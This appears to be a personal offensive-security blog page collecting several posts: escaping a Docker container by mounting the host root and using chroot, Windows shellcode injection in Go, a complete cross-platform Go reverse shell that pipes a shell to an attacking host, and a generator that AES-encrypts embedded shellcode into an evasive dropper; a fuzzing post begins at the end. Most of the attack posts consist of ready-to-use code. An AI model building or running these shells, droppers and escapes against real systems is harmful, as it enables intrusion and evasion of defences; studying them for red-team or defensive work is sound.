blog.jan0ski.net

HostPath

mccormickt9@gmail.com (Tommy McCormick) — Fri, 29 Jan 2021 22:10:24 -0500

Mounting Root Volumes Inside Containers

Docker

Run an alpine container with root filesystem mounted under /host in the container

$ docker run --rm -it -v /:/host alpine:latest /bin/sh
$ / # cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.12.0
PRETTY_NAME="Alpine Linux v3.12"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"

Changing my root directory to the /host directory with chroot allows us to break out of the container.

/ # ls
bin etc host media opt root sbin sys usr
dev home lib mnt proc run srv tmp var

/ # chroot /host bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@3396f9188944:/#

Show release information has changed to Ubuntu (WSL)

Code Injection

mccormickt9@gmail.com (Tommy McCormick) — Fri, 29 Jan 2021 20:18:02 -0500

Calling the Windows API

To call the Windows API in Go, we need to use the syscall library to load kernel32.dll and create references to the functions we need to use. Additionally, we’ll create some constants reflecting those that exist in the Windows API.

For shellcode injection, the VirtualAlloc Windows function is used to allocate memory in our process to store the payload.

const (
	PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
	MEM_COMMIT = 0x001000
	MEM_RESERVE = 0x002000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32 = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
)

Allocating memory and calling VirtualAlloc

Referencing documentation for the VirtualAlloc function in the C++ Windows API, we set our parameters to the Call function similarly in Go:

Reverse Shell

mccormickt9@gmail.com (Tommy McCormick) — Fri, 29 Jan 2021 20:17:02 -0500

To create a binary for a specific operating system or architecture, set the GOOS and GOARCH environment variables before running the go build command.

$ GOOS=$target_os GOARCH=$target_arch go build reverse_shell.go

reverse_shell.go (34 lines)

package main

import (
	"net"
	"os/exec"
	"runtime"
)

func main() {
	// Establish connection to attacking host
	conn, err := net.Dial("tcp", "127.0.0.1:443")
	if err != nil {
		panic(err)
	}

	// Determine which shell to use
	var shell string
	switch runtime.GOOS {
	case "windows":
		shell = "cmd.exe"
	case "linux":
		shell = "/bin/sh"
	case "darwin":
		shell = "/bin/bash"
	}

	// Run shell command, pointing file descriptors to remote connection
	cmd := exec.Command(shell)
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	cmd.Run()
}

Encrypted Shellcode Injection

mccormickt9@gmail.com (Tommy McCormick) — Fri, 29 Jan 2021 10:18:02 -0500

Encrypted Payload Generator

Generate shellcode with msfvenom or other tools.
Encrypt it using AES-256.
Place the key and the encrypted shellcode into a template Go file.

Usage:
$ go run encrypted_payload_creator.go > payload.go

encrypted_payload_creator.go (64 lines)

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"io/ioutil"
	"os"
	"text/template"
)

// Struct to hold template arguments
type args struct {
	Key string
	Ciphertext string
}

// Random bytes for encryption key
func generateRandomBytes(n int) ([]byte, error) {
	b := make([]byte, n)
	_, err := rand.Read(b)
	if err != nil {
		return nil, err
	}

	return b, nil
}

// Returns base64 encoded ciphertext encrypted with random 32-bit key
func encrypt(plaintext []byte) (string, string) {
	key, _ := generateRandomBytes(32)
	block, _ := aes.NewCipher(key)
	ciphertext := make([]byte, len(plaintext))
	stream := cipher.NewCTR(block, key[aes.BlockSize:])
	stream.XORKeyStream(ciphertext, plaintext)

	return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key)
}

func main() {
	// Read go code template file
	file, err := ioutil.ReadFile("encrypted_shellcode_template.go")
	if err != nil {
		panic(err)
	}

	// Parse template
	tmpl, err := template.New("body").Parse(string(file))
	if err != nil {
		panic(err)
	}

	// Encrypt payload (notepad.exe)
	data := []byte("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x2e\x65\x78\x65\x00")
	ciphertext, key := encrypt(data)

	// Generate go code for dropper using Ciphertext and Key template variables, print to Stdout
	tmpl.Execute(os.Stdout, args{
		Ciphertext: ciphertext,
		Key: key,
	})
}

The Payload Template

Used as a template Go file for the generator to include its encrypted shellcode and key.
Decrypts shellcode with a given key and executes its memory via local code injection.

Be sure to set GOARCH to 32 or 64-bit depending on your payload when using msfvenom shellcode.

Exif Parser Fuzzing

mccormickt9@gmail.com (Tommy McCormick) — Thu, 16 Apr 2020 21:19:00 -0500

Easy Fuzzing Target

A light google search of common fuzzing targets implemented in memory-unsafe languages such as C leads me to find this repo. It’s a great, simple implementation of an exif parser and will work perfectly for our purposes.

To test the output of the tool, compile the binary and run it on a sample jpg containing exif data. A great sample set can be found at https://github.com/ianare/exif-samples.

~/exifFuzz/exif $ make
~/exifFuzz/exif $ ./exif ../exif-samples/Canon_40D.jpg

[Canon_40D.jpg] createIfdTableArray: result=4

{0TH IFD}
 - Make: [Apple]
 - Model: [iPod touch]
 - Orientation: 1
... snip ...

Designing the Fuzzer

Fuzzing in general is all about rapidly varying the inputs of an application. In this case, all the data we have to manipulate is the contents of our input file. Randomly chaning individual bytes or patterns in the input file is bound to produce some unexpected results. This means our fuzzer will need to perform the following actions: